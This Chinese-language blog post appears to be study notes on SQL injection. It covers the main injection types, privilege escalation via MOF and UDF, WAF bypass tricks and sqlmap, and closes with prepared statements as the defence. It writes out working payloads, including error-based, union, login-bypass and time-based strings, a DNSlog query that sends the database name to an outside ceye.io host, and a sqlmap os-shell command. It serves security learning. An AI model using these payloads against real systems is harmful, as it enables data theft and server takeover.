sql注入的总结

目录

 

sql注入的原理

可能带来的危害:

基本流程:

注入的分类

注入检测

注入提权

绕waf的技巧

注入工具


sql注入的原理

它是发生在应用程序与数据层的安全漏洞,用自己的话说,就是在输入的字符串中注入sql指令,因为程序设计不当,忽略了对字符的检查,这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。

可能带来的危害:

  1. 重要资料信息的泄露;
  2. 数据库服务器被攻击,系统管理员账户被篡改
  3. 获取系统较高的权限后,在网页中加入恶意的连接。
  4. 经由上传php简单的指令至对方之主机内,PHP之强大系统命令,可以让黑客进行全面控制系统(例如:php一句话木马)。
  5. 企业网站主页被窜改,门面尽失

基本流程:

信息收集  >  数据库类型   > 数据库版本   > 数据库用户    > 数据库权限       > 获取数据       >获取库信息         >获取表信息

>获取列信息       > 获取数据      >提权        >执行命令      >    读文件     >写文件 

 

注入的分类

布尔型注入:在sql注入过程中,根据页面的返回结果来判断条件真假的注入方式。

报错型注入:在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数获取数据库数据。

                      主要场景有两种,一是当查询不回显内容,但是会打印错误信息;二是在insert和update等注入点(Order by查询),这些语句也会打印错误信息。

       报错函数:updatexml()存在特殊字符、字母时,会出现报错,报错信息为特殊字符、字母及之后的内容,而hex出的数据包含字母和数字,所以第一个字母前面的内容都会丢失,updatexml报错最多只能显示32位,我们结合SUBSTR函数来获取数据就行了,

mysql>select updatexml(1,make_set(3,'~',(select user())),1);
ERROR 1105(HY000): XPATH syntax error:'~,root@localhost'

                           extractvalue() (目标xml文档,xml路径)。语法中第二个参数Xpath是可操作的地方,如果我们写入错误的格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

mysql>select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));//获取表名
ERROR 1105(HY000): XPATH syntax error:'\users'

                            floor()返回小于等于括号内该值的最大整数,也就是取整。floor(rand(0)*2)就是对rand(0)产生的随机序列乘以2后的结果,再进行取整。

                            exp()

联合查询注入: 

  get型。数字型:根据获取的字段进行联合查询,查看显示点。and 1=2 union select 1,2,3,4,5            //           ' and 1=2 union select 1,2,3-- qwe

and1=2unionselect1,database(),table_name,4,5from information_schema.tables where table_schema=database() limit 0,1//爆表名

  post型。万能密码:where前面的那个条件为假后面的1=1为真,or或,一真一假为真,所以条件为真,则查询表里的全部数据。 

                 ' or 1=1 -- qwe                         ' or 1=1 order by 1 -- qwe         

时间型盲注:MySQL延时注入,延时注入就是在盲注的基础上增加了两个函数:if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句                          如果错误执行第三个语句

                     sleep():休眠多少秒

                     ' and if(length(database())>8,1,sleep(5))

DNSlog注入:Dnslog就是存储在DNS Server上的域名信息,它记录着用户对域名www.test.comt00ls.com.等的访问信息。

                      通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志

and(SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.75icr7.ceye.io\\abc'))),ceye.io运用了泛解析,然后ceye.io的子域名的解析都是在某台服务器,然后它记录下来了有人请求访问了root.75icr7.ceye.io,然后在ceye这个平台上面显示出来了,abc为共享文件夹。

二阶注入:也称二次注入,原理是sql语句在没有被转义的情况下直接存入数据库,然后在被读取查询而导致的。

源码中的sql语句: UPDATE users SET PASSWORD='$pass'where username='$username'and password='$curr_pass'
即将被执行的语句: UPDATE users SET PASSWORD='$pass'where username='admin'#' and password='$curr_pass'
最终被执行的语句:UPDATE users SET PASSWORD='$pass'where username='admin'

   Order By 注入:   Order by注入是比较特殊的情况, sql语句为 select * from admin order by $id 。我们一般用order by 来判断列数,其实它就是一个依照第几个列来排序的过程。

注入检测

        我们可以通过在应用程序中触发报错或使用布尔型注入,最容易检测到脆弱的参数。构造格式错误的查询将触发错误,而发送带有各种布尔逻辑语句的有效查询将触发来自web服务器的不同响应。

              

注入提权

mof提权:

               Windows Server 2003/XP 等 Windows低版本 ,需要权限:必须要有导出权限,原理:mof是Windows系统的一个文件,位于c:/windows/system32/wbem/mof/nullevt.mof,叫做托管对象格式, 它的作用是每隔5秒,就会去监控进程的创建和死亡。mof提权的简单利用过程就是,拥有了MySQL的root权限 后,使用root权限去执行上传操作,将我们重新改写过的mof文件上传,之后,这个文件会被服务器每隔5秒 以system权限执行。这个改写的mof中,有一段是vbs脚本,这个vbs大多数是cmd的添加管理员用户的命令。

udf提权:

              只和Mysql有关,必须要有导出权限,且用户必须root权限          

              UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。通过加载dll文件扩展,我们可以让Mysql去做一切事情。

               sys_eval:执行任意命令,并将输出返回。

绕waf的技巧

IIS+ASP的环境中,对于URL请求的参数值中的%,如果和后面的字符构成的字符串在URL编码表之外,ASP脚本 处理时会将其忽略

IS支持Unicode编码字符的解析,但是某些WAF却不一定具备这种能力。

HPP(HTTP Parameter Pollution): HTTP参数污染。

id=union+select+password/&id=/from+admin来逃避对 select * from 的检测。因为HPP特性,id的参数值最终会变为:union select password/,/from admin

畸形HTTP请求

当向Web服务器发送畸形的,非RFC2616标准的HTTP请求时, Web服务器出于兼容的目的,会尽可能解析畸形HTTP请求。

WEB应用层缺陷

多重编码

多数据来源的问题

 

waf自身缺陷:

数据获取方式存在缺陷

白名单机制

数据处理不恰当

               %00截断 将 %00 进行URL解码,即是C语言中的NULL字符,

             &字符处理

注入工具

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

Tamper,

可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。

tamper脚本的基本结构为 priority变量定义和 dependencies、 tamper函数定义。

  • priority定义脚本的优先级,用于有多个tamper脚本的情况。

  • dependencies函数声明该脚本适用或不适用的范围,可以为空。

  • tamper是主要的函数,接受的参数为 payload **kwargs,返回值为替换后的payload

sqlmap udf提权:

sqlmap\data\udf\mysql\windows\32 目录下存放着32位的 lib_mysqludf_sys.dll,但是 sqlmap 中自带的 shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用。

可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak 目录下,执行命令:python2 cloak.py -d -i D:\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll

解码后在 sqlmap\data\udf\mysql\windows\32 文件夹下会生成 dll 文件。

sqlmap.py -d “mysql://root:root@127.0.0.1:3306/test” -–os-shell

防止sql注入的方法:预编译。

预编译语句是什么 

  通常我们的一条sql在db接收到最终执行完毕返回可以分为下面三个过程:

    1.   词法和语义解析
    2.   优化sql语句,制定执行计划
    3.   执行并返回结果

        所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止sql注入。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值